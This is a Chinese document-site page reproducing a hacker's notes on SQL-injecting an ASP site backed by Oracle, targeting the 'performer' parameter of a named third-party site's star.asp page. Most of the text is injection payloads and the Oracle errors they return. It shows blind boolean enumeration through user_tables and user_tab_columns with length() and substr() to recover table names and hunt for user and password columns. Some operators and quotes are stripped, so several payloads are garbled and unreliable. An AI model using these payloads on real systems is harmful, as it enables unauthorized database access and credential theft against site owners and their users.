




已阅读5页,还剩19页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
一次对ASP+ORACLE的注入手记 电脑资料 OraOLEDB 错误 80040e14 ORA-00911: invalid character /star.asp,行83 说明过滤了分号, et.kpworld./star.asp?performer=马三立 - OraOLEDB 错误 80004005 ORA-01756: 括号内的字符串没有正确结束 /star.asp,行83 看来存在未过滤单引号问题。 et.kpworld./star.asp?performer=马三立 and 1=1 - 闭和他单引号,正常返回。 and 0(select count(*) from admin) and 1=1 - OraOLEDB 错误 80040e37 ORA-00942: table or view does not exist /star.asp,行83 说明不存在ADMIN这个表. * 下面需要知道ORACLE的系统表: 确定表中行的总数: select num_rows from user_tables where table_name=表名 -存放当前用户所有表 where table_name=表名 selectcolumn_name, from user_tab_columns -存放所有列 where table_name=表名 and 0(select count(*) from all_tables) and 1=1 - 存在! all_tables是一个系统表,用来存放当前ID和其他用户的所有表 and 0(select count(*) from user_tables) and 1=1 - 返回。有这个系统表,这个表存放当前用户的所有表 and 0(select top 1 table_name from user_tables) and 1=1 - OraOLEDB 错误 80040e14 ORA-00923: FROM keyword not found where expected /star.asp,行83 不支持TOP 1 ?。这种解释好象不太理想。 (经过PINKEYES测试已经确定确实不支持TOP 1) and 0(select count(*) from user_tables where table_nam) and 1=1 - OraOLEDB 错误 80040e14 ORA-00904: invalid column name /star.asp,行83 当语法错误时,会显示无效列名字 and 0(select count(*) from user_tables where table_name) and 1=1 - 语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试: and 0(select count(*) from user_tables where sum(table_name)1) and 1=1 - OraOLEDB 错误 80040e14 ORA-00934: group function is not allowed here /star.asp,行83 组函数不允许在这里。 and 0(select count(*) from user_tables where avg(table_name) and 1=1 - OraOLEDB 错误 80040e14 ORA-00934: group function is not allowed here /star.asp,行83 组函数不允许在这里。 and 0(select to_char(table_name) from user_tables) and%201=1 - OraOLEDB 错误 80004005 ORA-01427: single-row subquery returns more than one row /star.asp,行83 单行的子查询返回多于一行 and 0(select count(*) from user_tables where table_name+1) and%201=1 - OraOLEDB 错误 80040e14 ORA-00920: invalid relational operator /star.asp,行83 测试到这里,下面看看怎么弄出他的表来: and 0(select count(*) from performer) and%201=1 - 成功返回。这里的表是看前面URL猜的. and 0(select count(*) from user_tables where table_name=performer) and%201=1 - 没返回。失败标志。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name=PERFORMER) and%201=1 - 成功了! 看来这个user_tables表只认识大写字母! and 0(select count(*) from user_tables where length(table_name)10) and%201=1 - 用length函数确定最长表的位数 and 0(select count(*) from user_tables where length(table_name)=18) and%201=1 - 省略若干步骤,最后确定最长表为18位。 and 0(select count(*) from user_tables where substr(table_name,1,1)=A) and%201=1 - 第一位为A, and 0(select count(*) from user_tables where substr(table_name,1,2)=AD) and%201=1 - 第二位为AD and 0(select count(*) from user_tables where substr(table_name,1,18)=ADMINAUTHORIZATION) and%201=1 - 省略若干,18位的表名为ADMINAUTHORIZATION。 and 1=(select count(*) from user_tables where table_name=ADMINAUTHORIZATION) and%201=1 - 返回。 and 0(select count(*) from user_tables where length(table_name)=2) and%201=1 - 最小表名长度为2 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25user%25)%20and%20%201=1 - 没返回, and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25ADMIN%25)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25PER%25) and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25BBS%25)%20and%201=1 - 都成功返回。看来可以利用LIKE猜。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)8) and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)10)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)=10)%20and%201=1 - 利用LIKE和LENGTH组合猜,马上就能确定长度。 and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=BBSS)%20and%201=1 - 猜出第四位是S。接下来就是重复劳动了。 and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=BBSSUBJECT)%20and%201=1 - 猜出来了。BBSSUBJECT and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=BBSSUBJECT%20and%20column_name%20like%20%25USER%25)%20and%201=1 - and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=BBSSUBJECT%20and%20column_name%20like%20%25USER%25)%20and%201=1 - 没返回,不象是保存用户和密码的表。再来。 and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)10)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)15)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)=15)%20and%201=1 - 确定长度为15。 and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=U%20and%20length(table_name)=15)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=S%20and%20length(table_name)=15)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=USER%20and%20length(table_name)=15)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=UNSUBSCRIBEUSER)%20and%201=1 - and%200(select%20count(*)%20from%20user_tables%20where%20table_name=UNSUBSCRIBEUSER)%20and%201=1 - 确定表名UNSUBSCRIBEUSER,接下来猜是否有密码字段。 and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=UNSUBSCRIBEUSER%20and%20column_name%20like%20%25USER%25)%20and%201=1 - and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=UNSUBSCRIBEUSER%20and%20column_name%20like%20%25PASS%25)%20and%201=1 - LIKE PASS
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 高龄老年高血压特点
- 济南市2025-2026学年七年级上学期语文期末测试试卷
- 集安市2025-2026学年九年级上学期语文期中模拟试卷
- 电费账务基本知识培训总结
- 电脑钉钉显示课件
- 高质量培智说课课件
- 高职考现在进行时课件
- 电脑电缆知识培训课件
- 高考常见谦敬词课件
- 第5课《一着惊海天》课件-2025-2026学年统编版语文八年级上册
- 安全施工课件
- GB/T 45013-2024精细陶瓷基片的热疲劳试验方法
- 2022-2023年铁矿粉购销合同协议书范本
- DB11T 1833-2021 建筑工程施工安全操作规程
- 学校网络与信息安全检查表
- CTF信息安全竞赛理论知识考试题及答案
- 石油化工劳务分包合同
- 班费收支情况明细表格
- 中国偏头痛诊治指南(第一版)2023解读
- 成人手术后疼痛评估与护理-中华护理学会团体标准2023
- 湖北省武汉市2024-2025学年高一上学期入学分班考试 数学模拟卷
评论
0/150
提交评论